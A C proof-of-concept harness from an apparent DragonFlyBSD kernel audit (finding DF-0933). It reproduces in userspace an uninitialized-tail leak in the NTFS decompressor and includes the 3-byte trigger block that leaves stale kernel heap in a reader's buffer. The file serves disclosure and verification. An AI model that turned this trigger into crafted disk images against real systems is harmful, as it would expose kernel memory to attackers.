โฌข DragonFlyBSD Kernel Audit
DF-0933 / harness.c
โ† back to finding โ†“ download raw
/*
 * DF-0933 โ€” deterministic userspace transcription of the uninitialized-tail
 * bug in ntfs_uncompblock() (sys/vfs/ntfs/ntfs_compr.c:68-92).
 *
 * Bug: the COMPRESSED branch of ntfs_uncompblock decompresses an LZNT1 block
 * into buf[], advancing `pos` as it writes output bytes.  When the compressed
 * payload is consumed (cpos reaches len+3) before `pos` reaches
 * NTFS_COMPBLOCK_SIZE, the function returns at ntfs_compr.c:92 WITHOUT
 * zeroing buf[pos..NTFS_COMPBLOCK_SIZE-1].  Contrast the UNCOMPRESSED branch
 * at ntfs_compr.c:65 which explicitly does:
 *
 *     bzero(buf + len + 1, NTFS_COMPBLOCK_SIZE - 1 - len);
 *
 * The caller's output buffer (uup, sys/vfs/ntfs/ntfs_subr.c:1687-1690) is
 * allocated with kmalloc(M_WAITOK) โ€” NO M_ZERO โ€” so the unwritten tail holds
 * stale slab/kernel content, which uiomove (ntfs_subr.c:1722-1725) ships to
 * the reader.  Pure confidentiality impact (CWE-908).
 *
 * Trigger (3-byte LZNT1 block, zero-padded to a full cluster on disk):
 *
 *     0x01 0x80 0x00
 *       header 0x8001 (LE) -> bit15=1 COMPRESSED, len = 0x001 = 1
 *       ctag   0x00       -> all 8 sub-tokens are LITERALS
 *
 * Trace of ntfs_uncompblock on this block:
 *   len = 1;  cpos = 2;  pos = 0;
 *   outer while: cpos(2) < len+3(4)  -> true
 *     ctag = cbuf[2] = 0x00;  cpos = 3;
 *     inner for i=0..7 (ctag == 0x00, every token is a literal):
 *       buf[0]=cbuf[3]; buf[1]=cbuf[4]; ... buf[7]=cbuf[10];  pos = 8; cpos = 11
 *   outer while: cpos(11) < 4  -> false  -> EXIT
 *   return len+3 = 4;
 *   -> buf[8..4095] is NEVER WRITTEN, NEVER ZEROED  (4088 bytes of stale heap)
 *
 * This harness transcribes ntfs_uncompblock EXACTLY (lines 46-93).  The output
 * buffer is pre-filled with a recognisable sentinel (0xDE repeating + an ASCII
 * marker).  After running the trigger we inspect buf[8..4095]: if the sentinel
 * is still present, the compressed branch provably failed to zero the tail โ€”
 * the exact bytes a kernel reader would receive as stale heap.
 *
 * Build (guest):  cc -O2 -o harness harness.c
 * Run:             ./harness
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define NTFS_COMPBLOCK_SIZE 0x1000
#define GET_UINT16(addr) (*((uint16_t *)(addr)))

/* Verbatim transcription of ntfs_uncompblock (sys/vfs/ntfs/ntfs_compr.c:46-93).
 */
static int
ntfs_uncompblock_h(uint8_t *buf, uint8_t *cbuf)
{
	uint32_t	ctag;
	int		len, dshift, lmask;
	int		blen, boff;
	int		i, j;
	int		pos, cpos;

	len = GET_UINT16(cbuf) & 0xFFF;

	if (!(GET_UINT16(cbuf) & 0x8000)) {
		if ((len + 1) != NTFS_COMPBLOCK_SIZE) {
			/* dprintf only */
		}
		memcpy(buf, cbuf + 2, len + 1);
		bzero(buf + len + 1, NTFS_COMPBLOCK_SIZE - 1 - len);
		return len + 3;
	}
	cpos = 2;
	pos = 0;
	while ((cpos < len + 3) && (pos < NTFS_COMPBLOCK_SIZE)) {
		ctag = cbuf[cpos++];
		for (i = 0; (i < 8) && (pos < NTFS_COMPBLOCK_SIZE); i++) {
			if (ctag & 1) {
				for (j = pos - 1, lmask = 0xFFF, dshift = 12;
				     j >= 0x10; j >>= 1) {
					dshift--;
					lmask >>= 1;
				}
				boff = -1 - (GET_UINT16(cbuf + cpos) >> dshift);
				blen = 3 + (GET_UINT16(cbuf + cpos) & lmask);
				for (j = 0; (j < blen) && (pos < NTFS_COMPBLOCK_SIZE); j++) {
					buf[pos] = buf[pos + boff];
					pos++;
				}
				cpos += 2;
			} else {
				buf[pos++] = cbuf[cpos++];
			}
			ctag >>= 1;
		}
	}
	/* *** BUG SITE: no bzero(buf+pos, NTFS_COMPBLOCK_SIZE-pos) here *** */
	return len + 3;
}

int
main(void)
{
	uint8_t cbuf[16];
	memset(cbuf, 0, sizeof cbuf);
	cbuf[0] = 0x01; cbuf[1] = 0x80;	/* header: compressed, len=1 */
	cbuf[2] = 0x00;			/* ctag: all 8 tokens literal */

	printf("=== DF-0933 ntfs_uncompblock uninitialized-tail harness ===\n");
	printf("[harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line\n");
	printf("[harness] trigger block (3 bytes + zero pad): %02X %02X %02X\n",
	    cbuf[0], cbuf[1], cbuf[2]);
	printf("[harness]   header 0x8001: COMPRESSED, len=1 (payload+header = 4 B)\n");
	printf("[harness]   ctag 0x00: all 8 sub-tokens are LITERALS\n");
	printf("[harness]   -> decompresses only buf[0..7], pos ends at 8\n");
	printf("[harness]   -> buf[8..4095] (4088 B) never written, never zeroed\n\n");

	/* Pre-fill the output buffer with a sentinel that mimics stale slab
	 * content.  On the real kernel this region holds whatever the
	 * M_NTFSDECOMP slab previously contained (kernel pointers, freed
	 * objects, previously-decompressed file data). */
	static uint8_t buf[NTFS_COMPBLOCK_SIZE];
	memset(buf, 0xDE, NTFS_COMPBLOCK_SIZE);
	/* put an ascii marker in the tail so the leak is visually obvious */
	memcpy(buf + NTFS_COMPBLOCK_SIZE - 16, "STALE-KMALLOC-HEAP", 16);

	int rc = ntfs_uncompblock_h(buf, cbuf);
	printf("[harness] ntfs_uncompblock returned %d (len+3)\n\n", rc);

	/* Inspect: buf[0..7] = literals (all 0x00 from zero-padded cbuf);
	 * buf[8..4095] = the sentinel, proving the tail was untouched. */
	printf("[harness] buf[0..15]  (first 8 = literals, 8..15 = tail):\n  ");
	for (int i = 0; i < 16; i++) printf("%02X ", buf[i]);
	printf("\n\n");

	int tail_untouched = 1;
	int first_touched;
	for (first_touched = NTFS_COMPBLOCK_SIZE - 1; first_touched >= 0; first_touched--) {
		if (buf[first_touched] != 0xDE &&
		    first_touched < NTFS_COMPBLOCK_SIZE - 16) {
			/* not sentinel, not in ascii marker region */
			break;
		}
	}
	/* Count how many tail bytes still hold the 0xDE sentinel. */
	long stale_bytes = 0;
	for (int i = 8; i < NTFS_COMPBLOCK_SIZE; i++) {
		if (buf[i] == 0xDE) stale_bytes++;
	}

	printf("[harness] bytes still == 0xDE sentinel in buf[8..4095]: %ld / %d\n",
	    stale_bytes, NTFS_COMPBLOCK_SIZE - 8);
	printf("[harness] buf[4080..4095] (ascii marker region):\n  ");
	for (int i = NTFS_COMPBLOCK_SIZE - 16; i < NTFS_COMPBLOCK_SIZE; i++)
		printf("%02X ", buf[i]);
	printf("  |");
	for (int i = NTFS_COMPBLOCK_SIZE - 16; i < NTFS_COMPBLOCK_SIZE; i++)
		printf("%c", (buf[i] >= 32 && buf[i] < 127) ? buf[i] : '.');
	printf("|\n\n");

	/* A properly-fixed ntfs_uncompblock would bzero(buf+8, 4088) and
	 * stale_bytes would be 0.  On the buggy version, the overwhelming
	 * majority of the tail is still 0xDE. */
	if (stale_bytes >= 4000) {
		printf("[harness] LEAK CONFIRMED: buf[8..4095] retains the sentinel.\n");
		printf("[harness]   The compressed branch of ntfs_uncompblock returned\n");
		printf("[harness]   without zeroing %ld bytes of the output block.\n",
		    NTFS_COMPBLOCK_SIZE - 8);
		printf("[harness]   On the kernel these bytes are stale M_NTFSDECOMP slab\n");
		printf("[harness]   content shipped to any reader via uiomove.\n");
		return 0;
	} else if (stale_bytes == 0) {
		printf("[harness] TAIL ZEROED: buf[8..4095] was cleared (fixed kernel).\n");
		return 1;
	} else {
		printf("[harness] PARTIAL: %ld stale bytes remain (unexpected).\n", stale_bytes);
		return 2;
	}
}